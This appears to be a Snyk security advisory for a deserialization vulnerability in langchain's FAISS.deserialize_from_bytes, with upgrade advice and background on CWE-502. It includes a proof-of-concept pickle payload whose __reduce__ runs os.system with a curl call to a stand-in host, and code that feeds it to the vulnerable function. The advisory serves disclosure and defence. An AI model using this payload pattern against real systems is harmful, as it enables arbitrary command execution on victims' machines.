Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Deserialization of Untrusted Data vulnerabilities in an interactive lesson.
Start learningUpgrade langchain
to version 0.2.10 or higher.
langchain is a Building applications with LLMs through composability
Affected versions of this package are vulnerable to Deserialization of Untrusted Data through the FAISS.deserialize_from_bytes
function. An attacker can execute arbitrary commands by exploiting the os.system
function.
Note:
Exploiting this vulnerability requires that the user actively accept untrusted input from another source.
Serialized object:
import pickle import os import base64
class Test(object): def init(self): self.a = 1
def __reduce__(self): return (os.system, ('curl http://example.com/test',))
if name == 'main': tmp = Test() data = pickle.dumps(tmp) print(base64.b64encode(data))
import base64
from langchain_community.embeddings.huggingface import HuggingFaceEmbeddings
from langchain_community.vectorstores import FAISS
embeddings = HuggingFaceEmbeddings(model_name="all-MiniLM-L6-v2")
db = FAISS.deserialize_from_bytes(
embeddings=embeddings, serialized=base64.b64decode(b'This is the serialized data after base64')
)
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.